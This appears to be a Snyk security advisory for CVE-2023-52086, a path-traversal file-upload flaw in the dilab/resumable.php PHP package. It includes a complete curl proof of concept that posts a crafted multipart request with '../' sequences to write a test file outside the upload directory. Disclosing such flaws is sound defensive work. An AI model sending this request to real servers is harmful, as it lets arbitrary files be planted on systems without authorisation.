Unrestricted Upload of File with Dangerous Type Affecting dilab/resumable.php package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PHP-DILABRESUMABLEPHP-6139933
- published27 Dec 2023
- disclosed26 Dec 2023
- creditWilliam Desportes
Introduced: 26 Dec 2023
CVE-2023-52086 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Unrestricted Upload of File with Dangerous Type via specially crafted multipart/form-data content. An attacker can upload arbitrary files to any location on the server by exploiting this vulnerability.
Note: It is not possible to overwrite files after version 0.1.4 because of #27
PoC
curl 'https://example.org/upload.php?resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrentChunkSize=80881&resumableTotalSize=80881&resumableType=&resumableIdentifier=80881-resumablejsmap&resumableFileCategory=default&resumableFilename=../test.txt&resumableRelativePath=../../test-hack.txt&resumableTotalChunks=1' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryBAX4owzrRwdmveis' \
--data-raw $'------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkSize"\r\n\r\n1048576\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableCurrentChunkSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableType"\r\n\r\n\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableIdentifier"\r\n\r\n80881-resumablejsmap\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFileCategory"\r\n\r\ndefault\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFilename"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableRelativePath"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="file"; filename="../../test-hack.txt"\r\nContent-Type: application/octet-stream\r\n\r\ntestok\r\n------WebKitFormBoundaryBAX4owzrRwdmveis--\r\n' \--compressed